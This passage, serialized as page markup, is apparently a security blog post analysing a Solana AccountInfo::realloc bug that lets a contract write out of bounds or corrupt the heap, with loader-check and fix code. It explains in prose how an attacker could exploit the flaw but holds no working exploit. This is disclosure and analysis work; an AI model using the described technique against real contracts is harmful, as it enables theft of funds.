",{"type":22,"tag":42,"props":18448,"children":18451},{"href":18449,"rel":18450},"https://doc.rust-lang.org/reference/type-layout.html#pointers-and-references-layout",[46],[18452],{"type":28,"value":18453},"the reference",{"type":28,"value":18455},", it's completely undefined - there are no guarantees made in the reference, and ",{"type":22,"tag":42,"props":18457,"children":18460},{"href":18458,"rel":18459},"https://doc.rust-lang.org/reference/type-layout.html",[46],[18461,18463,18467],{"type":28,"value":18462},"\"Type layout can be changed with each compilation. ",{"type":22,"tag":118,"props":18464,"children":18465},{},[18466],{"type":28,"value":11589},{"type":28,"value":18468}," we only document what is guaranteed today\"",{"type":28,"value":18470},". But it seems like those pesky language specs aren't stopping Solana developers. In current ",{"type":22,"tag":114,"props":18472,"children":18474},{"className":18473},[],[18475],{"type":28,"value":18476},"rustc",{"type":28,"value":18478},", the layout is a data pointer followed by the size; essentially the same as:",{"type":22,"tag":107,"props":18480,"children":18483},{"className":18481,"code":18482,"language":5169,"meta":7,"style":7},"language-c shiki shiki-themes slack-dark","// C language\nstruct slice_ref {\n    void* ptr;\n    size_t len;\n};\n",[18484],{"type":22,"tag":114,"props":18485,"children":18486},{"__ignoreMap":7},[18487,18495,18507,18524,18537],{"type":22,"tag":118,"props":18488,"children":18489},{"class":120,"line":121},[18490],{"type":22,"tag":118,"props":18491,"children":18492},{"style":257},[18493],{"type":28,"value":18494},"// C language\n",{"type":22,"tag":118,"props":18496,"children":18497},{"class":120,"line":142},[18498,18502],{"type":22,"tag":118,"props":18499,"children":18500},{"style":146},[18501],{"type":28,"value":11399},{"type":22,"tag":118,"props":18503,"children":18504},{"style":125},[18505],{"type":28,"value":18506}," slice_ref {\n",{"type":22,"tag":118,"props":18508,"children":18509},{"class":120,"line":177},[18510,18515,18519],{"type":22,"tag":118,"props":18511,"children":18512},{"style":146},[18513],{"type":28,"value":18514},"    void",{"type":22,"tag":118,"props":18516,"children":18517},{"style":210},[18518],{"type":28,"value":671},{"type":22,"tag":118,"props":18520,"children":18521},{"style":125},[18522],{"type":28,"value":18523}," ptr;\n",{"type":22,"tag":118,"props":18525,"children":18526},{"class":120,"line":195},[18527,18532],{"type":22,"tag":118,"props":18528,"children":18529},{"style":146},[18530],{"type":28,"value":18531},"    size_t",{"type":22,"tag":118,"props":18533,"children":18534},{"style":125},[18535],{"type":28,"value":18536}," len;\n",{"type":22,"tag":118,"props":18538,"children":18539},{"class":120,"line":244},[18540],{"type":22,"tag":118,"props":18541,"children":18542},{"style":125},[18543],{"type":28,"value":4277},{"type":22,"tag":31,"props":18545,"children":18546},{},[18547],{"type":28,"value":18548},"So at the end of the day we find out that the code is simply writing over the length field in the slice reference. Let's step back a moment and take a look at all the assumptions we made along the way while executing these 2 lines (really only one of importance!):",{"type":22,"tag":4029,"props":18550,"children":18551},{},[18552,18557,18575],{"type":22,"tag":68,"props":18553,"children":18554},{},[18555],{"type":28,"value":18556},"Slices are laid out in the precise manner described",{"type":22,"tag":68,"props":18558,"children":18559},{},[18560,18562,18568,18570],{"type":28,"value":18561},"Pointers and ",{"type":22,"tag":114,"props":18563,"children":18565},{"className":18564},[],[18566],{"type":28,"value":18567},"usize",{"type":28,"value":18569}," are the same width as ",{"type":22,"tag":114,"props":18571,"children":18573},{"className":18572},[],[18574],{"type":28,"value":10046},{"type":22,"tag":68,"props":18576,"children":18577},{},[18578,18579,18584],{"type":28,"value":2743},{"type":22,"tag":114,"props":18580,"children":18582},{"className":18581},[],[18583],{"type":28,"value":17478},{"type":28,"value":18585}," was not borrowed (i.e. we didn't just mutate it while someone else has a reference to its contents)",{"type":22,"tag":31,"props":18587,"children":18588},{},[18589,18591,18596,18598,18604,18606,18611,18613,18619,18621,18626,18628,18638],{"type":28,"value":18590},"Assumption #2 is ",{"type":22,"tag":4764,"props":18592,"children":18593},{},[18594],{"type":28,"value":18595},"probably",{"type":28,"value":18597}," fine when we only care about targeting Solana's bytecode machine, but still not a particularly safe assumption to make in case some change happens on the toolchain. And assumption #3 turns out to be a non-issue since we had just done a ",{"type":22,"tag":114,"props":18599,"children":18601},{"className":18600},[],[18602],{"type":28,"value":18603},"borrow_mut",{"type":28,"value":18605}," of the ",{"type":22,"tag":114,"props":18607,"children":18609},{"className":18608},[],[18610],{"type":28,"value":17478},{"type":28,"value":18612}," (through ",{"type":22,"tag":114,"props":18614,"children":18616},{"className":18615},[],[18617],{"type":28,"value":18618},"AccountInfo::try_borrow_mut_data()",{"type":28,"value":18620},"), and ",{"type":22,"tag":114,"props":18622,"children":18624},{"className":18623},[],[18625],{"type":28,"value":17478},{"type":28,"value":18627}," is not usable between multiple threads",{"type":22,"tag":17448,"props":18629,"children":18630},{},[18631],{"type":22,"tag":42,"props":18632,"children":18636},{"href":18633,"ariaDescribedBy":18634,"dataFootnoteRef":7,"id":18635},"#user-content-fn-sendsync",[17455],"user-content-fnref-sendsync",[18637],{"type":28,"value":5147},{"type":28,"value":18639},", so we already have exclusive access.",{"type":22,"tag":31,"props":18641,"children":18642},{},[18643,18645,18649],{"type":28,"value":18644},"A few more ",{"type":22,"tag":4764,"props":18646,"children":18647},{},[18648],{"type":28,"value":9115},{"type":28,"value":18650}," things of note, that could have gone badly but didn't:",{"type":22,"tag":64,"props":18652,"children":18653},{},[18654,18696],{"type":22,"tag":68,"props":18655,"children":18656},{},[18657,18659,18665,18667,18672,18674,18679,18681,18686,18688,18694],{"type":28,"value":18658},"By reborrowing the pointer (the ",{"type":22,"tag":114,"props":18660,"children":18662},{"className":18661},[],[18663],{"type":28,"value":18664},"&mut *(\u003Cvalue of type *mut u64>)",{"type":28,"value":18666},"), we've created a reference with an ",{"type":22,"tag":4764,"props":18668,"children":18669},{},[18670],{"type":28,"value":18671},"unbounded lifetime",{"type":28,"value":18673},". Rust is free to infer ",{"type":22,"tag":4764,"props":18675,"children":18676},{},[18677],{"type":28,"value":18678},"any",{"type":28,"value":18680}," lifetime for ",{"type":22,"tag":114,"props":18682,"children":18684},{"className":18683},[],[18685],{"type":28,"value":15933},{"type":28,"value":18687}," (including ",{"type":22,"tag":114,"props":18689,"children":18691},{"className":18690},[],[18692],{"type":28,"value":18693},"'static",{"type":28,"value":18695},"); thankfully it's only used in the next statement and never has a chance to escape.",{"type":22,"tag":68,"props":18697,"children":18698},{},[18699,18701,18707,18709,18714,18716,18721,18723,18728,18730,18735,18737,18742,18744,18749,18751,18757,18759,18764,18766,18771,18773,18778,18780,18785,18787,18792],{"type":28,"value":18700},"Going back to the first statement when we were modifying the data buffer, it turns out we have another lifetime problem: we created a mutable pointer to the data from the ",{"type":22,"tag":114,"props":18702,"children":18704},{"className":18703},[],[18705],{"type":28,"value":18706},"RefMut",{"type":28,"value":18708}," returned from ",{"type":22,"tag":114,"props":18710,"children":18712},{"className":18711},[],[18713],{"type":28,"value":15859},{"type":28,"value":18715},", but the ",{"type":22,"tag":114,"props":18717,"children":18719},{"className":18718},[],[18720],{"type":28,"value":18706},{"type":28,"value":18722}," is dropped at the end of the statement. So, we now have in ",{"type":22,"tag":114,"props":18724,"children":18726},{"className":18725},[],[18727],{"type":28,"value":15933},{"type":28,"value":18729}," a ",{"type":22,"tag":4764,"props":18731,"children":18732},{},[18733],{"type":28,"value":18734},"mutable",{"type":28,"value":18736}," pointer to the ",{"type":22,"tag":114,"props":18738,"children":18740},{"className":18739},[],[18741],{"type":28,"value":17478},{"type":28,"value":18743},"'s data, but the ",{"type":22,"tag":114,"props":18745,"children":18747},{"className":18746},[],[18748],{"type":28,"value":17478},{"type":28,"value":18750}," thinks that we're done with our borrow. If we happened to be in a multithreaded scenario with something like a ",{"type":22,"tag":114,"props":18752,"children":18754},{"className":18753},[],[18755],{"type":28,"value":18756},"Mutex",{"type":28,"value":18758}," instead of a ",{"type":22,"tag":114,"props":18760,"children":18762},{"className":18761},[],[18763],{"type":28,"value":17478},{"type":28,"value":18765}," (but with otherwise semantically identical code), then a different thread could attempt to borrow between creating ",{"type":22,"tag":114,"props":18767,"children":18769},{"className":18768},[],[18770],{"type":28,"value":15933},{"type":28,"value":18772}," and writing to it ",{"type":22,"tag":4764,"props":18774,"children":18775},{},[18776],{"type":28,"value":18777},"and succeed",{"type":28,"value":18779},", resulting in us writing while another reference is alive. However, since ",{"type":22,"tag":114,"props":18781,"children":18783},{"className":18782},[],[18784],{"type":28,"value":15933},{"type":28,"value":18786}," is behind the actual data and thus the region it points to is inaccessible through the ",{"type":22,"tag":114,"props":18788,"children":18790},{"className":18789},[],[18791],{"type":28,"value":5715},{"type":28,"value":18793}," slice, this is still not a problem. I just wanted to highlight how easy it is to mess up borrowing and lifetimes when writing unsafe code.",{"type":22,"tag":31,"props":18795,"children":18796},{},[18797,18799,18804],{"type":28,"value":18798},"Ok, now that we've understood what the code is ",{"type":22,"tag":4764,"props":18800,"children":18801},{},[18802],{"type":28,"value":18803},"trying",{"type":28,"value":18805}," to do, let's try to break it, shall we?",{"type":22,"tag":23,"props":18807,"children":18809},{"id":18808},"what-can-go-wrong",[18810],{"type":28,"value":18811},"What can go wrong?",{"type":22,"tag":1289,"props":18813,"children":18815},{"id":18814},"contracts",[18816],{"type":28,"value":18817},"Contracts",{"type":22,"tag":31,"props":18819,"children":18820},{},[18821,18823,18828,18830,18835,18837,18842,18844,18849],{"type":28,"value":18822},"Again, it's quite conspicuous that there's no bounds check whatsoever, and additionally, we notice that at no point did we actually touch the data pointer of the slice reference when ",{"type":22,"tag":114,"props":18824,"children":18826},{"className":18825},[],[18827],{"type":28,"value":15632},{"type":28,"value":18829},"'ing. In other words, when we realloc, all we do is change some size fields, no allocation is happening. So, if we ",{"type":22,"tag":114,"props":18831,"children":18833},{"className":18832},[],[18834],{"type":28,"value":15632},{"type":28,"value":18836}," to some large size, past the end of the buffer of roughly ",{"type":22,"tag":114,"props":18838,"children":18840},{"className":18839},[],[18841],{"type":28,"value":17269},{"type":28,"value":18843}," bytes in the serialized buffer from the BPF loader, then we've got free out-of-bounds memory write! Using the ",{"type":22,"tag":114,"props":18845,"children":18847},{"className":18846},[],[18848],{"type":28,"value":5715},{"type":28,"value":18850}," slice, we can write to anything \"after\" our account's data in memory. Other accounts' data are stored adjacent in memory, so it'd be pretty easy to modify the data or lamports. And remember, sizes and indices are unsigned, so what's \"behind\" our account in memory is actually just very far \"after\" our account - the address will wrap around the end of the address space.",{"type":22,"tag":31,"props":18852,"children":18853},{},[18854,18856,18863],{"type":28,"value":18855},"There is ",{"type":22,"tag":42,"props":18857,"children":18860},{"href":18858,"rel":18859},"https://github.com/solana-labs/solana/blob/94685e1222b3289859a447d62fadea20898241e0/programs/bpf_loader/src/serialization.rs#L324-L328",[46],[18861],{"type":28,"value":18862},"a check",{"type":28,"value":18864}," by the BPF loader, however, and it boils down to:",{"type":22,"tag":107,"props":18866,"children":18868},{"className":109,"code":18867,"language":111,"meta":7,"style":7},"if post_len.saturating_sub(*pre_len) > MAX_PERMITTED_DATA_INCREASE\n    || post_len > MAX_PERMITTED_DATA_LENGTH as usize\n{\n    return Err(InstructionError::InvalidRealloc);\n}\n",[18869],{"type":22,"tag":114,"props":18870,"children":18871},{"__ignoreMap":7},[18872,18910,18940,18947,18980],{"type":22,"tag":118,"props":18873,"children":18874},{"class":120,"line":121},[18875,18879,18884,18888,18892,18896,18900,18905],{"type":22,"tag":118,"props":18876,"children":18877},{"style":1480},[18878],{"type":28,"value":17553},{"type":22,"tag":118,"props":18880,"children":18881},{"style":204},[18882],{"type":28,"value":18883}," post_len",{"type":22,"tag":118,"props":18885,"children":18886},{"style":210},[18887],{"type":28,"value":292},{"type":22,"tag":118,"props":18889,"children":18890},{"style":532},[18891],{"type":28,"value":16274},{"type":22,"tag":118,"props":18893,"children":18894},{"style":125},[18895],{"type":28,"value":540},{"type":22,"tag":118,"props":18897,"children":18898},{"style":210},[18899],{"type":28,"value":671},{"type":22,"tag":118,"props":18901,"children":18902},{"style":204},[18903],{"type":28,"value":18904},"pre_len",{"type":22,"tag":118,"props":18906,"children":18907},{"style":125},[18908],{"type":28,"value":18909},") > MAX_PERMITTED_DATA_INCREASE\n",{"type":22,"tag":118,"props":18911,"children":18912},{"class":120,"line":142},[18913,18918,18922,18926,18931,18935],{"type":22,"tag":118,"props":18914,"children":18915},{"style":210},[18916],{"type":28,"value":18917},"    ||",{"type":22,"tag":118,"props":18919,"children":18920},{"style":204},[18921],{"type":28,"value":18883},{"type":22,"tag":118,"props":18923,"children":18924},{"style":210},[18925],{"type":28,"value":16176},{"type":22,"tag":118,"props":18927,"children":18928},{"style":125},[18929],{"type":28,"value":18930}," MAX_PERMITTED_DATA_LENGTH ",{"type":22,"tag":118,"props":18932,"children":18933},{"style":146},[18934],{"type":28,"value":1215},{"type":22,"tag":118,"props":18936,"children":18937},{"style":131},[18938],{"type":28,"value":18939}," usize\n",{"type":22,"tag":118,"props":18941,"children":18942},{"class":120,"line":177},[18943],{"type":22,"tag":118,"props":18944,"children":18945},{"style":125},[18946],{"type":28,"value":12879},{"type":22,"tag":118,"props":18948,"children":18949},{"class":120,"line":195},[18950,18955,18959,18963,18967,18971,18976],{"type":22,"tag":118,"props":18951,"children":18952},{"style":1480},[18953],{"type":28,"value":18954},"    return",{"type":22,"tag":118,"props":18956,"children":18957},{"style":131},[18958],{"type":28,"value":2228},{"type":22,"tag":118,"props":18960,"children":18961},{"style":125},[18962],{"type":28,"value":540},{"type":22,"tag":118,"props":18964,"children":18965},{"style":131},[18966],{"type":28,"value":2139},{"type":22,"tag":118,"props":18968,"children":18969},{"style":210},[18970],{"type":28,"value":1190},{"type":22,"tag":118,"props":18972,"children":18973},{"style":131},[18974],{"type":28,"value":18975},"InvalidRealloc",{"type":22,"tag":118,"props":18977,"children":18978},{"style":125},[18979],{"type":28,"value":682},{"type":22,"tag":118,"props":18981,"children":18982},{"class":120,"line":244},[18983],{"type":22,"tag":118,"props":18984,"children":18985},{"style":125},[18986],{"type":28,"value":481},{"type":22,"tag":31,"props":18988,"children":18989},{},[18990,18992,18997,18999,19004],{"type":28,"value":18991},"But, like the other checks performed by the loader, this check only runs after the contract ",{"type":22,"tag":4764,"props":18993,"children":18994},{},[18995],{"type":28,"value":18996},"finishes",{"type":28,"value":18998}," execution. ",{"type":22,"tag":4764,"props":19000,"children":19001},{},[19002],{"type":28,"value":19003},"During",{"type":28,"value":19005}," execution, the contract is free to make whatever modifications to memory that it wants, since Solana's eBPF machine doesn't hook memory accesses in any way.",{"type":22,"tag":31,"props":19007,"children":19008},{},[19009,19011,19016,19018,19023,19025,19032],{"type":28,"value":19010},"The end result is that in order to successfully exploit this bug, an attacker needs a way to change the length back to something valid before the program exits. However, with potentially ",{"type":22,"tag":4764,"props":19012,"children":19013},{},[19014],{"type":28,"value":19015},"arbitrary",{"type":28,"value":19017}," memory access through a mistakenly-",{"type":22,"tag":114,"props":19019,"children":19021},{"className":19020},[],[19022],{"type":28,"value":15632},{"type":28,"value":19024},"'d account, this falls in the relm of some ",{"type":22,"tag":42,"props":19026,"children":19029},{"href":19027,"rel":19028},"https://en.wikipedia.org/wiki/Buffer_overflow",[46],[19030],{"type":28,"value":19031},"old-school pwning",{"type":28,"value":19033}," - even if we can't use the out-of-bounds access directly, there's plenty of pointers in memory that could be of use.",{"type":22,"tag":1289,"props":19035,"children":19037},{"id":19036},"not-contracts",[19038],{"type":28,"value":19039},"Not-contracts?",{"type":22,"tag":31,"props":19041,"children":19042},{},[19043,19045,19050,19052,19062,19064,19076,19078,19085,19087,19092,19094,19099,19101,19114,19116,19121,19123,19128],{"type":28,"value":19044},"Remember when we said that all this code makes sense ",{"type":22,"tag":4764,"props":19046,"children":19047},{},[19048],{"type":28,"value":19049},"if the data points to the BPF loader's serialized buffer",{"type":28,"value":19051},"? Well unfortunately for us, there's nothing enforcing that; all the fields on ",{"type":22,"tag":42,"props":19053,"children":19056},{"href":19054,"rel":19055},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html",[46],[19057],{"type":22,"tag":114,"props":19058,"children":19060},{"className":19059},[],[19061],{"type":28,"value":3028},{"type":28,"value":19063}," are public, and so is its ",{"type":22,"tag":42,"props":19065,"children":19068},{"href":19066,"rel":19067},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html#method.new",[46],[19069,19074],{"type":22,"tag":114,"props":19070,"children":19072},{"className":19071},[],[19073],{"type":28,"value":4256},{"type":28,"value":19075}," method",{"type":28,"value":19077}," (which is ",{"type":22,"tag":42,"props":19079,"children":19082},{"href":19080,"rel":19081},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#160-180",[46],[19083],{"type":28,"value":19084},"nothing more than a thin wrapper around just creating the struct literal yourself",{"type":28,"value":19086},"). The ",{"type":22,"tag":114,"props":19088,"children":19090},{"className":19089},[],[19091],{"type":28,"value":15632},{"type":28,"value":19093}," code critically assumes that the memory 8 bytes behind the data buffer is the data's length and that we can write to it however we want when realloc'ing. So, clearly if we were to create an ",{"type":22,"tag":114,"props":19095,"children":19097},{"className":19096},[],[19098],{"type":28,"value":3028},{"type":28,"value":19100}," ourselves - potentially through the ",{"type":22,"tag":42,"props":19102,"children":19105},{"href":19103,"rel":19104},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/trait.Account.html",[46],[19106,19112],{"type":22,"tag":114,"props":19107,"children":19109},{"className":19108},[],[19110],{"type":28,"value":19111},"Account",{"type":28,"value":19113}," trait",{"type":28,"value":19115},", which is hardly documented at all and makes ",{"type":22,"tag":4764,"props":19117,"children":19118},{},[19119],{"type":28,"value":19120},"no",{"type":28,"value":19122}," mention of any prerequisites about the nature of the references that need to be returned - we'd run in to problems from pretty much any practical way we'd allocate the ",{"type":22,"tag":114,"props":19124,"children":19126},{"className":19125},[],[19127],{"type":28,"value":5715},{"type":28,"value":19129}," buffer.",{"type":22,"tag":31,"props":19131,"children":19132},{},[19133,19135,19146,19148,19154,19156,19162,19164,19176,19178,19183,19185,19190,19192,19197,19199,19204,19206,19211,19213,19218],{"type":28,"value":19134},"One long arm of this is ",{"type":22,"tag":42,"props":19136,"children":19139},{"href":19137,"rel":19138},"https://docs.rs/solana-sdk/1.10.28/solana_sdk/account/struct.Account.html",[46],[19140],{"type":22,"tag":114,"props":19141,"children":19143},{"className":19142},[],[19144],{"type":28,"value":19145},"solana_sdk::account::Account",{"type":28,"value":19147}," - in the client SDK. It holds an account's data in a ",{"type":22,"tag":114,"props":19149,"children":19151},{"className":19150},[],[19152],{"type":28,"value":19153},"Vec\u003Cu8>",{"type":28,"value":19155},", and it implements ",{"type":22,"tag":114,"props":19157,"children":19159},{"className":19158},[],[19160],{"type":28,"value":19161},"solana_program::account_info::Account",{"type":28,"value":19163}," (the trait from earlier) - by ",{"type":22,"tag":42,"props":19165,"children":19168},{"href":19166,"rel":19167},"https://docs.rs/solana-sdk/1.10.28/src/solana_sdk/account.rs.html#661-669",[46],[19169,19171],{"type":28,"value":19170},"returning a reference to the contents of that ",{"type":22,"tag":114,"props":19172,"children":19174},{"className":19173},[],[19175],{"type":28,"value":3789},{"type":28,"value":19177},". So, ",{"type":22,"tag":114,"props":19179,"children":19181},{"className":19180},[],[19182],{"type":28,"value":15632},{"type":28,"value":19184}," writes the size into the 8 bytes right before ",{"type":22,"tag":114,"props":19186,"children":19188},{"className":19187},[],[19189],{"type":28,"value":5715},{"type":28,"value":19191},"; ",{"type":22,"tag":114,"props":19193,"children":19195},{"className":19194},[],[19196],{"type":28,"value":5715},{"type":28,"value":19198}," is the buffer of a ",{"type":22,"tag":114,"props":19200,"children":19202},{"className":19201},[],[19203],{"type":28,"value":3789},{"type":28,"value":19205},", and so it is the contents of a heap allocation; and, immediately before a heap allocation sits critical metadata. The result? If, for some reason, you construct an ",{"type":22,"tag":114,"props":19207,"children":19209},{"className":19208},[],[19210],{"type":28,"value":3028},{"type":28,"value":19212}," out of an SDK ",{"type":22,"tag":114,"props":19214,"children":19216},{"className":19215},[],[19217],{"type":28,"value":19111},{"type":28,"value":19219}," and then realloc it (which admittedly is quite a stretch), then you get heap corruption - something that's very likely to lead to remote code execution.",{"type":22,"tag":23,"props":19221,"children":19223},{"id":19222},"remediation",[19224],{"type":28,"value":19225},"Remediation",{"type":22,"tag":31,"props":19227,"children":19228},{},[19229],{"type":28,"value":19230},"Obviously the fix for the main issue at hand is to check that the resize operation remains in-bounds. But how do we know how big is too big?",{"type":22,"tag":31,"props":19232,"children":19233},{},[19234,19236,19241,19243,19248,19250,19261,19263,19268,19270,19277],{"type":28,"value":19235},"The sensible thing to do would be to store the initial size in the ",{"type":22,"tag":114,"props":19237,"children":19239},{"className":19238},[],[19240],{"type":28,"value":3028},{"type":28,"value":19242},"... except for the fact that the layout of ",{"type":22,"tag":114,"props":19244,"children":19246},{"className":19245},[],[19247],{"type":28,"value":3028},{"type":28,"value":19249}," is actually part of the ABI between the contract runtime and the loader :face_palm:",{"type":22,"tag":17448,"props":19251,"children":19252},{},[19253],{"type":22,"tag":42,"props":19254,"children":19258},{"href":19255,"ariaDescribedBy":19256,"dataFootnoteRef":7,"id":19257},"#user-content-fn-layout",[17455],"user-content-fnref-layout",[19259],{"type":28,"value":19260},"3",{"type":28,"value":19262}," So, with changing ",{"type":22,"tag":114,"props":19264,"children":19266},{"className":19265},[],[19267],{"type":28,"value":3028},{"type":28,"value":19269}," out of the question, the Solana team came up with a different place to stash the information: inside a section of padding in the serialized buffer passed from the runtime. This happened to be next to where the pubkey was stored, which resulted in the creation of ",{"type":22,"tag":42,"props":19271,"children":19274},{"href":19272,"rel":19273},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#74-85",[46],[19275],{"type":28,"value":19276},"this function",{"type":28,"value":213},{"type":22,"tag":107,"props":19279,"children":19281},{"className":109,"code":19280,"language":111,"meta":7,"style":7},"/// Return the account's original data length when it was serialized for the\n/// current program invocation.\n///\n/// # Safety\n///\n/// This method assumes that the original data length was serialized as a u32\n/// integer in the 4 bytes immediately preceding the serialized account key.\npub unsafe fn original_data_len(&self) -> usize {\n    let key_ptr = self.key as *const _ as *const u8;\n    let original_data_len_ptr = key_ptr.offset(-4) as *const u32;\n    *original_data_len_ptr as usize\n}\n",[19282],{"type":22,"tag":114,"props":19283,"children":19284},{"__ignoreMap":7},[19285,19293,19301,19309,19317,19324,19332,19340,19388,19453,19519,19540],{"type":22,"tag":118,"props":19286,"children":19287},{"class":120,"line":121},[19288],{"type":22,"tag":118,"props":19289,"children":19290},{"style":257},[19291],{"type":28,"value":19292},"/// Return the account's original data length when it was serialized for the\n",{"type":22,"tag":118,"props":19294,"children":19295},{"class":120,"line":142},[19296],{"type":22,"tag":118,"props":19297,"children":19298},{"style":257},[19299],{"type":28,"value":19300},"/// current program invocation.\n",{"type":22,"tag":118,"props":19302,"children":19303},{"class":120,"line":177},[19304],{"type":22,"tag":118,"props":19305,"children":19306},{"style":257},[19307],{"type":28,"value":19308},"///\n",{"type":22,"tag":118,"props":19310,"children":19311},{"class":120,"line":195},[19312],{"type":22,"tag":118,"props":19313,"children":19314},{"style":257},[19315],{"type":28,"value":19316},"/// # Safety\n",{"type":22,"tag":118,"props":19318,"children":19319},{"class":120,"line":244},[19320],{"type":22,"tag":118,"props":19321,"children":19322},{"style":257},[19323],{"type":28,"value":19308},{"type":22,"tag":118,"props":19325,"children":19326},{"class":120,"line":253},[19327],{"type":22,"tag":118,"props":19328,"children":19329},{"style":257},[19330],{"type":28,"value":19331},"/// This method assumes that the original data length was serialized as a u32\n",{"type":22,"tag":118,"props":19333,"children":19334},{"class":120,"line":263},[19335],{"type":22,"tag":118,"props":19336,"children":19337},{"style":257},[19338],{"type":28,"value":19339},"/// integer in the 4 bytes immediately preceding the serialized account key.\n",{"type":22,"tag":118,"props":19341,"children":19342},{"class":120,"line":318},[19343,19347,19351,19355,19360,19364,19368,19372,19376,19380,19384],{"type":22,"tag":118,"props":19344,"children":19345},{"style":146},[19346],{"type":28,"value":149},{"type":22,"tag":118,"props":19348,"children":19349},{"style":146},[19350],{"type":28,"value":16570},{"type":22,"tag":118,"props":19352,"children":19353},{"style":146},[19354],{"type":28,"value":529},{"type":22,"tag":118,"props":19356,"children":19357},{"style":532},[19358],{"type":28,"value":19359}," original_data_len",{"type":22,"tag":118,"props":19361,"children":19362},{"style":125},[19363],{"type":28,"value":540},{"type":22,"tag":118,"props":19365,"children":19366},{"style":210},[19367],{"type":28,"value":1407},{"type":22,"tag":118,"props":19369,"children":19370},{"style":146},[19371],{"type":28,"value":1412},{"type":22,"tag":118,"props":19373,"children":19374},{"style":125},[19375],{"type":28,"value":588},{"type":22,"tag":118,"props":19377,"children":19378},{"style":210},[19379],{"type":28,"value":593},{"type":22,"tag":118,"props":19381,"children":19382},{"style":131},[19383],{"type":28,"value":3946},{"type":22,"tag":118,"props":19385,"children":19386},{"style":125},[19387],{"type":28,"value":1474},{"type":22,"tag":118,"props":19389,"children":19390},{"class":120,"line":351},[19391,19395,19400,19404,19408,19412,19417,19421,19425,19429,19433,19437,19441,19445,19449],{"type":22,"tag":118,"props":19392,"children":19393},{"style":146},[19394],{"type":28,"value":4152},{"type":22,"tag":118,"props":19396,"children":19397},{"style":204},[19398],{"type":28,"value":19399}," key_ptr",{"type":22,"tag":118,"props":19401,"children":19402},{"style":210},[19403],{"type":28,"value":837},{"type":22,"tag":118,"props":19405,"children":19406},{"style":146},[19407],{"type":28,"value":2100},{"type":22,"tag":118,"props":19409,"children":19410},{"style":210},[19411],{"type":28,"value":292},{"type":22,"tag":118,"props":19413,"children":19414},{"style":125},[19415],{"type":28,"value":19416},"key ",{"type":22,"tag":118,"props":19418,"children":19419},{"style":146},[19420],{"type":28,"value":1215},{"type":22,"tag":118,"props":19422,"children":19423},{"style":210},[19424],{"type":28,"value":11815},{"type":22,"tag":118,"props":19426,"children":19427},{"style":146},[19428],{"type":28,"value":11653},{"type":22,"tag":118,"props":19430,"children":19431},{"style":204},[19432],{"type":28,"value":5064},{"type":22,"tag":118,"props":19434,"children":19435},{"style":146},[19436],{"type":28,"value":10829},{"type":22,"tag":118,"props":19438,"children":19439},{"style":210},[19440],{"type":28,"value":11815},{"type":22,"tag":118,"props":19442,"children":19443},{"style":146},[19444],{"type":28,"value":11653},{"type":22,"tag":118,"props":19446,"children":19447},{"style":131},[19448],{"type":28,"value":16614},{"type":22,"tag":118,"props":19450,"children":19451},{"style":125},[19452],{"type":28,"value":801},{"type":22,"tag":118,"props":19454,"children":19455},{"class":120,"line":359},[19456,19460,19465,19469,19473,19477,19481,19485,19489,19494,19498,19502,19506,19510,19515],{"type":22,"tag":118,"props":19457,"children":19458},{"style":146},[19459],{"type":28,"value":4152},{"type":22,"tag":118,"props":19461,"children":19462},{"style":204},[19463],{"type":28,"value":19464}," original_data_len_ptr",{"type":22,"tag":118,"props":19466,"children":19467},{"style":210},[19468],{"type":28,"value":837},{"type":22,"tag":118,"props":19470,"children":19471},{"style":204},[19472],{"type":28,"value":19399},{"type":22,"tag":118,"props":19474,"children":19475},{"style":210},[19476],{"type":28,"value":292},{"type":22,"tag":118,"props":19478,"children":19479},{"style":532},[19480],{"type":28,"value":15885},{"type":22,"tag":118,"props":19482,"children":19483},{"style":125},[19484],{"type":28,"value":540},{"type":22,"tag":118,"props":19486,"children":19487},{"style":210},[19488],{"type":28,"value":6340},{"type":22,"tag":118,"props":19490,"children":19491},{"style":674},[19492],{"type":28,"value":19493},"4",{"type":22,"tag":118,"props":19495,"children":19496},{"style":125},[19497],{"type":28,"value":588},{"type":22,"tag":118,"props":19499,"children":19500},{"style":146},[19501],{"type":28,"value":1215},{"type":22,"tag":118,"props":19503,"children":19504},{"style":210},[19505],{"type":28,"value":11815},{"type":22,"tag":118,"props":19507,"children":19508},{"style":146},[19509],{"type":28,"value":11653},{"type":22,"tag":118,"props":19511,"children":19512},{"style":131},[19513],{"type":28,"value":19514}," u32",{"type":22,"tag":118,"props":19516,"children":19517},{"style":125},[19518],{"type":28,"value":801},{"type":22,"tag":118,"props":19520,"children":19521},{"class":120,"line":368},[19522,19527,19532,19536],{"type":22,"tag":118,"props":19523,"children":19524},{"style":210},[19525],{"type":28,"value":19526},"    *",{"type":22,"tag":118,"props":19528,"children":19529},{"style":204},[19530],{"type":28,"value":19531},"original_data_len_ptr",{"type":22,"tag":118,"props":19533,"children":19534},{"style":146},[19535],{"type":28,"value":10829},{"type":22,"tag":118,"props":19537,"children":19538},{"style":131},[19539],{"type":28,"value":18939},{"type":22,"tag":118,"props":19541,"children":19542},{"class":120,"line":384},[19543],{"type":22,"tag":118,"props":19544,"children":19545},{"style":125},[19546],{"type":28,"value":481},{"type":22,"tag":31,"props":19548,"children":19549},{},[19550,19552,19557,19559,19564,19566,19571,19573,19578,19580,19587,19589,19596,19597,19604,19605,19612,19613,19620],{"type":28,"value":19551},"It's marked ",{"type":22,"tag":114,"props":19553,"children":19555},{"className":19554},[],[19556],{"type":28,"value":16336},{"type":28,"value":19558},", properly documented, but there's just one problem: we need this for ",{"type":22,"tag":114,"props":19560,"children":19562},{"className":19561},[],[19563],{"type":28,"value":15632},{"type":28,"value":19565},", which originally was not ",{"type":22,"tag":114,"props":19567,"children":19569},{"className":19568},[],[19570],{"type":28,"value":16336},{"type":28,"value":19572},". So, in the name of not breaking API compatibility, the Solana team just threw the call in an ",{"type":22,"tag":114,"props":19574,"children":19576},{"className":19575},[],[19577],{"type":28,"value":16336},{"type":28,"value":19579}," block and added ",{"type":22,"tag":42,"props":19581,"children":19584},{"href":19582,"rel":19583},"https://docs.rs/solana-program/1.10.30/solana_program/account_info/struct.AccountInfo.html#safety-1",[46],[19585],{"type":28,"value":19586},"a doc comment",{"type":28,"value":19588}," - adding to the 